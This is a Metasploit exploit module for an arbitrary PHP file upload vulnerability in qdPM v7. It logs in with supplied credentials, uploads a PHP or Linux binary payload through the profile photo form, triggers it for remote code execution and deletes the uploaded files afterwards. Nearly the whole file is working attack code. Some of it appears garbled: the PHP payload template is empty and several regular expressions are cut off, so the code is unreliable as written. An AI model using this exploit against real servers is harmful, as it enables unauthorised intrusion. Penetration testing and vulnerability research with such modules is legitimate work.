##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "qdPM v7 Arbitrary PHP File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in qdPM - a web-based project management
software. The user profile's photo upload feature can be abused to upload any
arbitrary file onto the victim server machine, which allows remote code execution.
Please note in order to use this module, you must have a valid credential to sign
in.
},
'License' => MSF_LICENSE,
'Author' =>
[
'loneferret', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '82978'],
['EDB', '19154']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => %w{ linux php },
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Jun 14 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']),
OptString.new('USERNAME', [true, 'The username to login with']),
OptString.new('PASSWORD', [true, 'The password to login with'])
])
end
def check
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")})
if res and res.body =~ /
.+qdPM ([\d])\.([\d]).+\<\/div\>/m
major, minor = $1, $2
return Exploit::CheckCode::Appears if (major+minor).to_i <= 70
end
return Exploit::CheckCode::Safe
end
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
|
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
return php
end
def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_files.each do |f|
print_warning("Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
rescue ::Exception => e
print_error("Unable to remove #{f}: #{e.message}")
end
end
end
def login(base, username, password)
# Login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/home/login"),
'vars_post' => {
'login[email]' => username,
'login[password]' => password,
'http_referer' => ''
},
# This needs to be set, otherwise we get two cookies... I don't need two cookies.
'cookie' => "qdpm=#{Rex::Text.rand_text_alpha(27)}",
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}/#{base}/index.php/home/login"
}
})
cookie = (res and res.get_cookies =~ /qdpm\=.+\;/) ? res.get_cookies : ''
return {} if cookie.empty?
cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0]
# Get user data
vprint_status("Enumerating user data")
res = send_request_raw({
'uri' => "#{base}/index.php/home/myAccount",
'cookie' => cookie
})
return {} if not res
if res.code == 404
print_error("#{username} does not actually have a 'myAccount' page")
return {}
end
b = res.body
user_id = b.scan(/\/).flatten[0] || ''
group_id = b.scan(/\/).flatten[0] || ''
user_active = b.scan(/\/).flatten[0] || ''
opts = {
'cookie' => cookie,
'user_id' => user_id,
'group_id' => group_id,
'user_active' => user_active
}
return opts
end
def upload_php(base, opts)
fname = opts['filename']
php_payload = opts['data']
user_id = opts['user_id']
group_id = opts['group_id']
user_active = opts['user_active']
username = opts['username']
email = opts['email']
cookie = opts['cookie']
data = Rex::MIME::Message.new
data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"')
data.add_part('put', nil, nil, 'form-data; name="sf_method"')
data.add_part(user_id, nil, nil, 'form-data; name="users[id]"')
data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"')
data.add_part(user_active, nil, nil, 'form-data; name="users[active]"')
data.add_part('', nil, nil, 'form-data; name="users[skin]"')
data.add_part(username, nil, nil, 'form-data; name="users[name]"')
data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"")
data.add_part('', nil, nil, 'form-data; name="preview_photo"')
data.add_part(email, nil, nil, 'form-data; name="users[email]"')
data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
data.add_part('', nil, nil, 'form-data; name="new_password"')
post_data = data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/home/myAccount"),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
})
return (res and res.headers['Location'] =~ /home\/myAccount$/) ? true : false
end
def exec_php(base, opts)
cookie = opts['cookie']
# When we upload a file, it will be renamed. The 'myAccount' page has that info.
res = send_request_cgi({
'uri' => normalize_uri("#{base}/index.php/home/myAccount"),
'cookie' => cookie
})
if not res
print_error("Unable to request the file")
return
end
fname = res.body.scan(/\/).flatten[0] || ''
if fname.empty?
print_error("Unable to extract the real filename")
return
end
# Now that we have the filename, request it
print_status("Uploaded file was renmaed as '#{fname}'")
send_request_raw({'uri'=>"#{base}/uploads/users/#{fname}"})
handler
end
def exploit
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
user = datastore['USERNAME']
pass = datastore['PASSWORD']
print_status("Attempt to login with '#{user}:#{pass}'")
opts = login(base, user, pass)
if opts.empty?
print_error("Login unsuccessful")
return
end
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
@clean_files = [php_fname]
case target['Platform']
when 'php'
p = ""
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end
print_status("Uploading PHP payload (#{p.length.to_s} bytes)...")
opts = opts.merge({
'username' => user.scan(/^(.+)\@.+/).flatten[0] || '',
'email' => user,
'filename' => php_fname,
'data' => p
})
uploader = upload_php(base, opts)
if not uploader
print_error("Unable to upload")
return
end
print_status("Executing '#{php_fname}'")
exec_php(base, opts)
end
end